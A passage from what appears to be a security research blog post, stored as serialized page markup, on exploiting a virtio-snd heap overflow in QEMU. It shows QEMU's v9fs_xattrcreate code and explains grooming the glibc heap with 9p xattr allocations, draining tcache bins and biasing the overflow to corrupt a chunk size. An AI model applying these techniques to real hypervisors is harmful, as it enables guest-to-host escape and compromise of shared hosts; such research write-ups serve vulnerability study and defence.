g_malloc0(size);\n}\n",[125830],{"type":23,"tag":135,"props":125831,"children":125832},{"__ignoreMap":7},[125833,125875,125882,125906,125919,125930,125955,125963,125988,126005,126021,126047,126054,126075,126141,126165,126178,126185,126192,126199,126206,126226,126247,126258,126265,126272,126279,126286,126335,126391,126436],{"type":23,"tag":139,"props":125834,"children":125835},{"class":141,"line":142},[125836,125840,125844,125849,125854,125858,125862,125866,125871],{"type":23,"tag":139,"props":125837,"children":125838},{"style":279},[125839],{"type":28,"value":48942},{"type":23,"tag":139,"props":125841,"children":125842},{"style":279},[125843],{"type":28,"value":48947},{"type":23,"tag":139,"props":125845,"children":125846},{"style":259},[125847],{"type":28,"value":125848}," coroutine_fn ",{"type":23,"tag":139,"props":125850,"children":125851},{"style":245},[125852],{"type":28,"value":125853},"v9fs_xattrcreate",{"type":23,"tag":139,"props":125855,"children":125856},{"style":259},[125857],{"type":28,"value":262},{"type":23,"tag":139,"props":125859,"children":125860},{"style":279},[125861],{"type":28,"value":49525},{"type":23,"tag":139,"props":125863,"children":125864},{"style":982},[125865],{"type":28,"value":7825},{"type":23,"tag":139,"props":125867,"children":125868},{"style":294},[125869],{"type":28,"value":125870},"opaque",{"type":23,"tag":139,"props":125872,"children":125873},{"style":259},[125874],{"type":28,"value":273},{"type":23,"tag":139,"props":125876,"children":125877},{"class":141,"line":151},[125878],{"type":23,"tag":139,"props":125879,"children":125880},{"style":259},[125881],{"type":28,"value":8890},{"type":23,"tag":139,"props":125883,"children":125884},{"class":141,"line":160},[125885,125889,125894,125898,125902],{"type":23,"tag":139,"props":125886,"children":125887},{"style":279},[125888],{"type":28,"value":17085},{"type":23,"tag":139,"props":125890,"children":125891},{"style":259},[125892],{"type":28,"value":125893}," flags, rflags ",{"type":23,"tag":139,"props":125895,"children":125896},{"style":982},[125897],{"type":28,"value":1067},{"type":23,"tag":139,"props":125899,"children":125900},{"style":1016},[125901],{"type":28,"value":1019},{"type":23,"tag":139,"props":125903,"children":125904},{"style":259},[125905],{"type":28,"value":995},{"type":23,"tag":139,"props":125907,"children":125908},{"class":141,"line":169},[125909,125914],{"type":23,"tag":139,"props":125910,"children":125911},{"style":279},[125912],{"type":28,"value":125913},"    int32_t",{"type":23,"tag":139,"props":125915,"children":125916},{"style":259},[125917],{"type":28,"value":125918}," fid;\n",{"type":23,"tag":139,"props":125920,"children":125921},{"class":141,"line":178},[125922,125926],{"type":23,"tag":139,"props":125923,"children":125924},{"style":279},[125925],{"type":28,"value":53511},{"type":23,"tag":139,"props":125927,"children":125928},{"style":259},[125929],{"type":28,"value":122506},{"type":23,"tag":139,"props":125931,"children":125932},{"class":141,"line":187},[125933,125938,125943,125947,125951],{"type":23,"tag":139,"props":125934,"children":125935},{"style":279},[125936],{"type":28,"value":125937},"    ssize_t",{"type":23,"tag":139,"props":125939,"children":125940},{"style":259},[125941],{"type":28,"value":125942}," err ",{"type":23,"tag":139,"props":125944,"children":125945},{"style":982},[125946],{"type":28,"value":1067},{"type":23,"tag":139,"props":125948,"children":125949},{"style":1016},[125950],{"type":28,"value":1019},{"type":23,"tag":139,"props":125952,"children":125953},{"style":259},[125954],{"type":28,"value":995},{"type":23,"tag":139,"props":125956,"children":125957},{"class":141,"line":196},[125958],{"type":23,"tag":139,"props":125959,"children":125960},{"style":259},[125961],{"type":28,"value":125962},"    V9fsString name;\n",{"type":23,"tag":139,"props":125964,"children":125965},{"class":141,"line":205},[125966,125970,125975,125979,125984],{"type":23,"tag":139,"props":125967,"children":125968},{"style":279},[125969],{"type":28,"value":14576},{"type":23,"tag":139,"props":125971,"children":125972},{"style":259},[125973],{"type":28,"value":125974}," offset ",{"type":23,"tag":139,"props":125976,"children":125977},{"style":982},[125978],{"type":28,"value":1067},{"type":23,"tag":139,"props":125980,"children":125981},{"style":1016},[125982],{"type":28,"value":125983}," 7",{"type":23,"tag":139,"props":125985,"children":125986},{"style":259},[125987],{"type":28,"value":995},{"type":23,"tag":139,"props":125989,"children":125990},{"class":141,"line":214},[125991,125996,126000],{"type":23,"tag":139,"props":125992,"children":125993},{"style":259},[125994],{"type":28,"value":125995},"    V9fsFidState ",{"type":23,"tag":139,"props":125997,"children":125998},{"style":982},[125999],{"type":28,"value":2573},{"type":23,"tag":139,"props":126001,"children":126002},{"style":259},[126003],{"type":28,"value":126004},"file_fidp;\n",{"type":23,"tag":139,"props":126006,"children":126007},{"class":141,"line":1320},[126008,126012,126016],{"type":23,"tag":139,"props":126009,"children":126010},{"style":259},[126011],{"type":28,"value":125995},{"type":23,"tag":139,"props":126013,"children":126014},{"style":982},[126015],{"type":28,"value":2573},{"type":23,"tag":139,"props":126017,"children":126018},{"style":259},[126019],{"type":28,"value":126020},"xattr_fidp;\n",{"type":23,"tag":139,"props":126022,"children":126023},{"class":141,"line":1329},[126024,126029,126033,126038,126042],{"type":23,"tag":139,"props":126025,"children":126026},{"style":259},[126027],{"type":28,"value":126028},"    V9fsPDU ",{"type":23,"tag":139,"props":126030,"children":126031},{"style":982},[126032],{"type":28,"value":2573},{"type":23,"tag":139,"props":126034,"children":126035},{"style":259},[126036],{"type":28,"value":126037},"pdu ",{"type":23,"tag":139,"props":126039,"children":126040},{"style":982},[126041],{"type":28,"value":1067},{"type":23,"tag":139,"props":126043,"children":126044},{"style":259},[126045],{"type":28,"value":126046}," opaque;\n",{"type":23,"tag":139,"props":126048,"children":126049},{"class":141,"line":1580},[126050],{"type":23,"tag":139,"props":126051,"children":126052},{"emptyLinePlaceholder":15},[126053],{"type":28,"value":184},{"type":23,"tag":139,"props":126055,"children":126056},{"class":141,"line":1597},[126057,126062,126066,126070],{"type":23,"tag":139,"props":126058,"children":126059},{"style":245},[126060],{"type":28,"value":126061},"    v9fs_string_init",{"type":23,"tag":139,"props":126063,"children":126064},{"style":259},[126065],{"type":28,"value":262},{"type":23,"tag":139,"props":126067,"children":126068},{"style":982},[126069],{"type":28,"value":1085},{"type":23,"tag":139,"props":126071,"children":126072},{"style":259},[126073],{"type":28,"value":126074},"name);\n",{"type":23,"tag":139,"props":126076,"children":126077},{"class":141,"line":1614},[126078,126083,126087,126092,126097,126102,126106,126110,126115,126119,126124,126128,126132,126136],{"type":23,"tag":139,"props":126079,"children":126080},{"style":259},[126081],{"type":28,"value":126082},"    err ",{"type":23,"tag":139,"props":126084,"children":126085},{"style":982},[126086],{"type":28,"value":1067},{"type":23,"tag":139,"props":126088,"children":126089},{"style":245},[126090],{"type":28,"value":126091}," pdu_unmarshal",{"type":23,"tag":139,"props":126093,"children":126094},{"style":259},[126095],{"type":28,"value":126096},"(pdu, offset, ",{"type":23,"tag":139,"props":126098,"children":126099},{"style":265},[126100],{"type":28,"value":126101},"\"dsqd\"",{"type":23,"tag":139,"props":126103,"children":126104},{"style":259},[126105],{"type":28,"value":1052},{"type":23,"tag":139,"props":126107,"children":126108},{"style":982},[126109],{"type":28,"value":1085},{"type":23,"tag":139,"props":126111,"children":126112},{"style":259},[126113],{"type":28,"value":126114},"fid, ",{"type":23,"tag":139,"props":126116,"children":126117},{"style":982},[126118],{"type":28,"value":1085},{"type":23,"tag":139,"props":126120,"children":126121},{"style":259},[126122],{"type":28,"value":126123},"name, ",{"type":23,"tag":139,"props":126125,"children":126126},{"style":982},[126127],{"type":28,"value":1085},{"type":23,"tag":139,"props":126129,"children":126130},{"style":259},[126131],{"type":28,"value":124874},{"type":23,"tag":139,"props":126133,"children":126134},{"style":982},[126135],{"type":28,"value":1085},{"type":23,"tag":139,"props":126137,"children":126138},{"style":259},[126139],{"type":28,"value":126140},"flags);\n",{"type":23,"tag":139,"props":126142,"children":126143},{"class":141,"line":1627},[126144,126148,126153,126157,126161],{"type":23,"tag":139,"props":126145,"children":126146},{"style":319},[126147],{"type":28,"value":10290},{"type":23,"tag":139,"props":126149,"children":126150},{"style":259},[126151],{"type":28,"value":126152}," (err ",{"type":23,"tag":139,"props":126154,"children":126155},{"style":982},[126156],{"type":28,"value":3808},{"type":23,"tag":139,"props":126158,"children":126159},{"style":1016},[126160],{"type":28,"value":1019},{"type":23,"tag":139,"props":126162,"children":126163},{"style":259},[126164],{"type":28,"value":12815},{"type":23,"tag":139,"props":126166,"children":126167},{"class":141,"line":1636},[126168,126173],{"type":23,"tag":139,"props":126169,"children":126170},{"style":319},[126171],{"type":28,"value":126172},"        goto",{"type":23,"tag":139,"props":126174,"children":126175},{"style":259},[126176],{"type":28,"value":126177}," out_nofid;\n",{"type":23,"tag":139,"props":126179,"children":126180},{"class":141,"line":1659},[126181],{"type":23,"tag":139,"props":126182,"children":126183},{"style":259},[126184],{"type":28,"value":1335},{"type":23,"tag":139,"props":126186,"children":126187},{"class":141,"line":1667},[126188],{"type":23,"tag":139,"props":126189,"children":126190},{"emptyLinePlaceholder":15},[126191],{"type":28,"value":184},{"type":23,"tag":139,"props":126193,"children":126194},{"class":141,"line":1676},[126195],{"type":23,"tag":139,"props":126196,"children":126197},{"style":259},[126198],{"type":28,"value":102705},{"type":23,"tag":139,"props":126200,"children":126201},{"class":141,"line":1745},[126202],{"type":23,"tag":139,"props":126203,"children":126204},{"emptyLinePlaceholder":15},[126205],{"type":28,"value":184},{"type":23,"tag":139,"props":126207,"children":126208},{"class":141,"line":1753},[126209,126213,126217,126221],{"type":23,"tag":139,"props":126210,"children":126211},{"style":319},[126212],{"type":28,"value":10290},{"type":23,"tag":139,"props":126214,"children":126215},{"style":259},[126216],{"type":28,"value":124975},{"type":23,"tag":139,"props":126218,"children":126219},{"style":982},[126220],{"type":28,"value":8471},{"type":23,"tag":139,"props":126222,"children":126223},{"style":259},[126224],{"type":28,"value":126225}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":139,"props":126227,"children":126228},{"class":141,"line":1783},[126229,126234,126238,126242],{"type":23,"tag":139,"props":126230,"children":126231},{"style":259},[126232],{"type":28,"value":126233},"        err ",{"type":23,"tag":139,"props":126235,"children":126236},{"style":982},[126237],{"type":28,"value":1067},{"type":23,"tag":139,"props":126239,"children":126240},{"style":982},[126241],{"type":28,"value":49153},{"type":23,"tag":139,"props":126243,"children":126244},{"style":259},[126245],{"type":28,"value":126246},"E2BIG;\n",{"type":23,"tag":139,"props":126248,"children":126249},{"class":141,"line":1791},[126250,126254],{"type":23,"tag":139,"props":126251,"children":126252},{"style":319},[126253],{"type":28,"value":126172},{"type":23,"tag":139,"props":126255,"children":126256},{"style":259},[126257],{"type":28,"value":126177},{"type":23,"tag":139,"props":126259,"children":126260},{"class":141,"line":1823},[126261],{"type":23,"tag":139,"props":126262,"children":126263},{"style":259},[126264],{"type":28,"value":1335},{"type":23,"tag":139,"props":126266,"children":126267},{"class":141,"line":1831},[126268],{"type":23,"tag":139,"props":126269,"children":126270},{"emptyLinePlaceholder":15},[126271],{"type":28,"value":184},{"type":23,"tag":139,"props":126273,"children":126274},{"class":141,"line":1891},[126275],{"type":23,"tag":139,"props":126276,"children":126277},{"style":259},[126278],{"type":28,"value":102705},{"type":23,"tag":139,"props":126280,"children":126281},{"class":141,"line":7053},[126282],{"type":23,"tag":139,"props":126283,"children":126284},{"emptyLinePlaceholder":15},[126285],{"type":28,"value":184},{"type":23,"tag":139,"props":126287,"children":126288},{"class":141,"line":7071},[126289,126293,126297,126301,126306,126310,126314,126318,126323,126327,126331],{"type":23,"tag":139,"props":126290,"children":126291},{"style":245},[126292],{"type":28,"value":126061},{"type":23,"tag":139,"props":126294,"children":126295},{"style":259},[126296],{"type":28,"value":262},{"type":23,"tag":139,"props":126298,"children":126299},{"style":982},[126300],{"type":28,"value":1085},{"type":23,"tag":139,"props":126302,"children":126303},{"style":294},[126304],{"type":28,"value":126305},"xattr_fidp",{"type":23,"tag":139,"props":126307,"children":126308},{"style":259},[126309],{"type":28,"value":11768},{"type":23,"tag":139,"props":126311,"children":126312},{"style":294},[126313],{"type":28,"value":34872},{"type":23,"tag":139,"props":126315,"children":126316},{"style":259},[126317],{"type":28,"value":73},{"type":23,"tag":139,"props":126319,"children":126320},{"style":294},[126321],{"type":28,"value":126322},"xattr",{"type":23,"tag":139,"props":126324,"children":126325},{"style":259},[126326],{"type":28,"value":73},{"type":23,"tag":139,"props":126328,"children":126329},{"style":294},[126330],{"type":28,"value":46395},{"type":23,"tag":139,"props":126332,"children":126333},{"style":259},[126334],{"type":28,"value":1820},{"type":23,"tag":139,"props":126336,"children":126337},{"class":141,"line":7116},[126338,126343,126347,126351,126355,126359,126363,126367,126371,126375,126379,126383,126387],{"type":23,"tag":139,"props":126339,"children":126340},{"style":245},[126341],{"type":28,"value":126342},"    v9fs_string_copy",{"type":23,"tag":139,"props":126344,"children":126345},{"style":259},[126346],{"type":28,"value":262},{"type":23,"tag":139,"props":126348,"children":126349},{"style":982},[126350],{"type":28,"value":1085},{"type":23,"tag":139,"props":126352,"children":126353},{"style":294},[126354],{"type":28,"value":126305},{"type":23,"tag":139,"props":126356,"children":126357},{"style":259},[126358],{"type":28,"value":11768},{"type":23,"tag":139,"props":126360,"children":126361},{"style":294},[126362],{"type":28,"value":34872},{"type":23,"tag":139,"props":126364,"children":126365},{"style":259},[126366],{"type":28,"value":73},{"type":23,"tag":139,"props":126368,"children":126369},{"style":294},[126370],{"type":28,"value":126322},{"type":23,"tag":139,"props":126372,"children":126373},{"style":259},[126374],{"type":28,"value":73},{"type":23,"tag":139,"props":126376,"children":126377},{"style":294},[126378],{"type":28,"value":46395},{"type":23,"tag":139,"props":126380,"children":126381},{"style":259},[126382],{"type":28,"value":1052},{"type":23,"tag":139,"props":126384,"children":126385},{"style":982},[126386],{"type":28,"value":1085},{"type":23,"tag":139,"props":126388,"children":126389},{"style":259},[126390],{"type":28,"value":126074},{"type":23,"tag":139,"props":126392,"children":126393},{"class":141,"line":7222},[126394,126399,126403,126407,126411,126415,126419,126423,126427,126431],{"type":23,"tag":139,"props":126395,"children":126396},{"style":294},[126397],{"type":28,"value":126398},"    xattr_fidp",{"type":23,"tag":139,"props":126400,"children":126401},{"style":259},[126402],{"type":28,"value":11768},{"type":23,"tag":139,"props":126404,"children":126405},{"style":294},[126406],{"type":28,"value":34872},{"type":23,"tag":139,"props":126408,"children":126409},{"style":259},[126410],{"type":28,"value":73},{"type":23,"tag":139,"props":126412,"children":126413},{"style":294},[126414],{"type":28,"value":126322},{"type":23,"tag":139,"props":126416,"children":126417},{"style":259},[126418],{"type":28,"value":73},{"type":23,"tag":139,"props":126420,"children":126421},{"style":294},[126422],{"type":28,"value":37042},{"type":23,"tag":139,"props":126424,"children":126425},{"style":982},[126426],{"type":28,"value":985},{"type":23,"tag":139,"props":126428,"children":126429},{"style":245},[126430],{"type":28,"value":122077},{"type":23,"tag":139,"props":126432,"children":126433},{"style":259},[126434],{"type":28,"value":126435},"(size);\n",{"type":23,"tag":139,"props":126437,"children":126438},{"class":141,"line":21518},[126439],{"type":23,"tag":139,"props":126440,"children":126441},{"style":259},[126442],{"type":28,"value":1897},{"type":23,"tag":24,"props":126444,"children":126445},{},[126446,126448,126453,126455,126460,126461,126466,126468,126473],{"type":28,"value":126447},"Because the ",{"type":23,"tag":135,"props":126449,"children":126451},{"className":126450},[],[126452],{"type":28,"value":125809},{"type":28,"value":126454}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":135,"props":126456,"children":126458},{"className":126457},[],[126459],{"type":28,"value":125809},{"type":28,"value":9002},{"type":23,"tag":135,"props":126462,"children":126464},{"className":126463},[],[126465],{"type":28,"value":125816},{"type":28,"value":126467},", not just the ",{"type":23,"tag":135,"props":126469,"children":126471},{"className":126470},[],[126472],{"type":28,"value":125816},{"type":28,"value":126474}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":126476,"children":126477},{},[126478,126479,126484],{"type":28,"value":14625},{"type":23,"tag":135,"props":126480,"children":126482},{"className":126481},[],[126483],{"type":28,"value":125816},{"type":28,"value":126485}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":126487,"children":126488},{},[126489,126491,126496,126498,126504,126506,126512,126514,126520],{"type":28,"value":126490},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":135,"props":126492,"children":126494},{"className":126493},[],[126495],{"type":28,"value":125816},{"type":28,"value":126497}," buffer through a ",{"type":23,"tag":135,"props":126499,"children":126501},{"className":126500},[],[126502],{"type":28,"value":126503},"P9_TWRITE",{"type":28,"value":126505}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":135,"props":126507,"children":126509},{"className":126508},[],[126510],{"type":28,"value":126511},"P9_TREAD",{"type":28,"value":126513},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":135,"props":126515,"children":126517},{"className":126516},[],[126518],{"type":28,"value":126519},"P9_TCLUNK",{"type":28,"value":126521}," request on that same FID.",{"type":23,"tag":24,"props":126523,"children":126524},{},[126525,126527,126533],{"type":28,"value":126526},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":135,"props":126528,"children":126530},{"className":126529},[],[126531],{"type":28,"value":126532},"65536",{"type":28,"value":126534}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":666,"props":126536,"children":126538},{"id":126537},"setting-the-heap-layout",[126539],{"type":28,"value":126540},"Setting the Heap Layout",{"type":23,"tag":24,"props":126542,"children":126543},{},[126544,126546,126551],{"type":28,"value":126545},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":135,"props":126547,"children":126549},{"className":126548},[],[126550],{"type":28,"value":125816},{"type":28,"value":126552}," allocations, like this:",{"type":23,"tag":128,"props":126554,"children":126556},{"code":126555},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[126557],{"type":23,"tag":135,"props":126558,"children":126559},{"__ignoreMap":7},[126560],{"type":28,"value":126555},{"type":23,"tag":24,"props":126562,"children":126563},{},[126564,126566,126571,126573,126578,126580,126585],{"type":28,"value":126565},"This lets us later create holes by freeing every other ",{"type":23,"tag":135,"props":126567,"children":126569},{"className":126568},[],[126570],{"type":28,"value":125816},{"type":28,"value":126572}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":135,"props":126574,"children":126576},{"className":126575},[],[126577],{"type":28,"value":122164},{"type":28,"value":126579}," field of the next live ",{"type":23,"tag":135,"props":126581,"children":126583},{"className":126582},[],[126584],{"type":28,"value":125816},{"type":28,"value":126586}," chunk.",{"type":23,"tag":24,"props":126588,"children":126589},{},[126590],{"type":28,"value":126591},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":126593,"children":126594},{},[126595,126597,126602,126604,126609,126611,126616,126618,126623],{"type":28,"value":126596},"As mentioned earlier, ",{"type":23,"tag":135,"props":126598,"children":126600},{"className":126599},[],[126601],{"type":28,"value":125853},{"type":28,"value":126603}," always allocates two chunks: one for ",{"type":23,"tag":135,"props":126605,"children":126607},{"className":126606},[],[126608],{"type":28,"value":125809},{"type":28,"value":126610}," and one for ",{"type":23,"tag":135,"props":126612,"children":126614},{"className":126613},[],[126615],{"type":28,"value":125816},{"type":28,"value":126617},". We want to avoid having ",{"type":23,"tag":135,"props":126619,"children":126621},{"className":126620},[],[126622],{"type":28,"value":125809},{"type":28,"value":126624}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":797,"props":126626,"children":126627},{},[126628,126640],{"type":23,"tag":801,"props":126629,"children":126630},{},[126631,126633,126638],{"type":28,"value":126632},"Make ",{"type":23,"tag":135,"props":126634,"children":126636},{"className":126635},[],[126637],{"type":28,"value":125809},{"type":28,"value":126639}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":801,"props":126641,"children":126642},{},[126643,126645,126650,126652,126657,126659,126664],{"type":28,"value":126644},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":135,"props":126646,"children":126648},{"className":126647},[],[126649],{"type":28,"value":125809},{"type":28,"value":126651},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":135,"props":126653,"children":126655},{"className":126654},[],[126656],{"type":28,"value":125809},{"type":28,"value":126658}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":135,"props":126660,"children":126662},{"className":126661},[],[126663],{"type":28,"value":125816},{"type":28,"value":126665}," chunks.",{"type":23,"tag":16900,"props":126667,"children":126669},{"id":126668},"separating-name-allocations",[126670],{"type":28,"value":126671},"Separating .name allocations",{"type":23,"tag":24,"props":126673,"children":126674},{},[126675,126677,126682,126684,126689],{"type":28,"value":126676},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":135,"props":126678,"children":126680},{"className":126679},[],[126681],{"type":28,"value":125853},{"type":28,"value":126683}," for N ",{"type":23,"tag":135,"props":126685,"children":126687},{"className":126686},[],[126688],{"type":28,"value":125809},{"type":28,"value":126690},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":126692,"children":126693},{},[126694,126696,126701,126702,126707,126708,126713,126715,126720,126722,126727],{"type":28,"value":126695},"At this point, we already know that ",{"type":23,"tag":135,"props":126697,"children":126699},{"className":126698},[],[126700],{"type":28,"value":125853},{"type":28,"value":126603},{"type":23,"tag":135,"props":126703,"children":126705},{"className":126704},[],[126706],{"type":28,"value":125809},{"type":28,"value":126610},{"type":23,"tag":135,"props":126709,"children":126711},{"className":126710},[],[126712],{"type":28,"value":125816},{"type":28,"value":126714},". If we simply call it with ",{"type":23,"tag":135,"props":126716,"children":126718},{"className":126717},[],[126719],{"type":28,"value":125816},{"type":28,"value":126721}," sized the same as ",{"type":23,"tag":135,"props":126723,"children":126725},{"className":126724},[],[126726],{"type":28,"value":125809},{"type":28,"value":126728},", we get a layout like this:",{"type":23,"tag":128,"props":126730,"children":126732},{"code":126731},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[126733],{"type":23,"tag":135,"props":126734,"children":126735},{"__ignoreMap":7},[126736],{"type":28,"value":126731},{"type":23,"tag":24,"props":126738,"children":126739},{},[126740,126742,126747,126749,126755,126757,126763,126765,126770,126772,126777,126779,126784],{"type":28,"value":126741},"With that heap state, issuing a ",{"type":23,"tag":135,"props":126743,"children":126745},{"className":126744},[],[126746],{"type":28,"value":126519},{"type":28,"value":126748}," request would first free ",{"type":23,"tag":135,"props":126750,"children":126752},{"className":126751},[],[126753],{"type":28,"value":126754},".name A",{"type":28,"value":126756}," and then ",{"type":23,"tag":135,"props":126758,"children":126760},{"className":126759},[],[126761],{"type":28,"value":126762},".value A",{"type":28,"value":126764},". When ",{"type":23,"tag":135,"props":126766,"children":126768},{"className":126767},[],[126769],{"type":28,"value":126762},{"type":28,"value":126771}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":135,"props":126773,"children":126775},{"className":126774},[],[126776],{"type":28,"value":126754},{"type":28,"value":126778}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":135,"props":126780,"children":126782},{"className":126781},[],[126783],{"type":28,"value":125809},{"type":28,"value":126785},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":126787,"children":126788},{},[126789],{"type":28,"value":126790},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":126792,"children":126793},{},[126794,126796,126801,126803,126808,126810,126815,126817,126823,126825,126830,126832,126838],{"type":28,"value":126795},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":135,"props":126797,"children":126799},{"className":126798},[],[126800],{"type":28,"value":125809},{"type":28,"value":126802}," allocation remains fixed at size ",{"type":23,"tag":135,"props":126804,"children":126806},{"className":126805},[],[126807],{"type":28,"value":102971},{"type":28,"value":126809},". We first allocate 16 xattrs whose ",{"type":23,"tag":135,"props":126811,"children":126813},{"className":126812},[],[126814],{"type":28,"value":125816},{"type":28,"value":126816}," size is ",{"type":23,"tag":135,"props":126818,"children":126820},{"className":126819},[],[126821],{"type":28,"value":126822},"0x30",{"type":28,"value":126824},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":135,"props":126826,"children":126828},{"className":126827},[],[126829],{"type":28,"value":125816},{"type":28,"value":126831}," size ",{"type":23,"tag":135,"props":126833,"children":126835},{"className":126834},[],[126836],{"type":28,"value":126837},"0x40",{"type":28,"value":126839},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":126841,"children":126842},{},[126843],{"type":28,"value":126844},"This yields the following layout:",{"type":23,"tag":128,"props":126846,"children":126848},{"code":126847},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[126849],{"type":23,"tag":135,"props":126850,"children":126851},{"__ignoreMap":7},[126852],{"type":28,"value":126847},{"type":23,"tag":24,"props":126854,"children":126855},{},[126856,126858,126863,126865,126870,126872,126877,126879,126884,126886,126891,126893,126898,126899,126904,126906,126911,126913,126918,126920,126925,126927,126932,126934,126939],{"type":28,"value":126857},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":135,"props":126859,"children":126861},{"className":126860},[],[126862],{"type":28,"value":125809},{"type":28,"value":126864}," chunks end up in the ",{"type":23,"tag":135,"props":126866,"children":126868},{"className":126867},[],[126869],{"type":28,"value":102971},{"type":28,"value":126871}," tcache bin, along with the interleaved ",{"type":23,"tag":135,"props":126873,"children":126875},{"className":126874},[],[126876],{"type":28,"value":125816},{"type":28,"value":126878}," chunks of size ",{"type":23,"tag":135,"props":126880,"children":126882},{"className":126881},[],[126883],{"type":28,"value":126822},{"type":28,"value":126885},". The next 16 ",{"type":23,"tag":135,"props":126887,"children":126889},{"className":126888},[],[126890],{"type":28,"value":125809},{"type":28,"value":126892}," chunks are interleaved with ",{"type":23,"tag":135,"props":126894,"children":126896},{"className":126895},[],[126897],{"type":28,"value":125816},{"type":28,"value":126878},{"type":23,"tag":135,"props":126900,"children":126902},{"className":126901},[],[126903],{"type":28,"value":126837},{"type":28,"value":126905},"; when freed, those ",{"type":23,"tag":135,"props":126907,"children":126909},{"className":126908},[],[126910],{"type":28,"value":125816},{"type":28,"value":126912}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":135,"props":126914,"children":126916},{"className":126915},[],[126917],{"type":28,"value":125809},{"type":28,"value":126919}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":135,"props":126921,"children":126923},{"className":126922},[],[126924],{"type":28,"value":125809},{"type":28,"value":126926},"-sized chunks that will later be served to the ",{"type":23,"tag":135,"props":126928,"children":126930},{"className":126929},[],[126931],{"type":28,"value":125809},{"type":28,"value":126933}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":135,"props":126935,"children":126937},{"className":126936},[],[126938],{"type":28,"value":125816},{"type":28,"value":126665},{"type":23,"tag":666,"props":126941,"children":126943},{"id":126942},"corrupting-the-size",[126944],{"type":28,"value":126945},"Corrupting the Size",{"type":23,"tag":24,"props":126947,"children":126948},{},[126949,126951,126956,126958,126963,126965,126970,126972,126977,126978,126983],{"type":28,"value":126950},"The input format is guest-controlled, and we choose ",{"type":23,"tag":135,"props":126952,"children":126954},{"className":126953},[],[126955],{"type":28,"value":1401},{"type":28,"value":126957}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":135,"props":126959,"children":126961},{"className":126960},[],[126962],{"type":28,"value":1401},{"type":28,"value":126964}," is centered at ",{"type":23,"tag":135,"props":126966,"children":126968},{"className":126967},[],[126969],{"type":28,"value":27462},{"type":28,"value":126971}," (rather than ",{"type":23,"tag":135,"props":126973,"children":126975},{"className":126974},[],[126976],{"type":28,"value":124071},{"type":28,"value":124058},{"type":23,"tag":135,"props":126979,"children":126981},{"className":126980},[],[126982],{"type":28,"value":124049},{"type":28,"value":126984},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":126986,"children":126987},{},[126988,126990,126995],{"type":28,"value":126989},"As we already concluded, ",{"type":23,"tag":135,"props":126991,"children":126993},{"className":126992},[],[126994],{"type":28,"value":123514},{"type":28,"value":126996}," is called with the amount:",{"type":23,"tag":128,"props":126998,"children":127000},{"code":126999},"MIN(available, (stream->params.period_bytes - 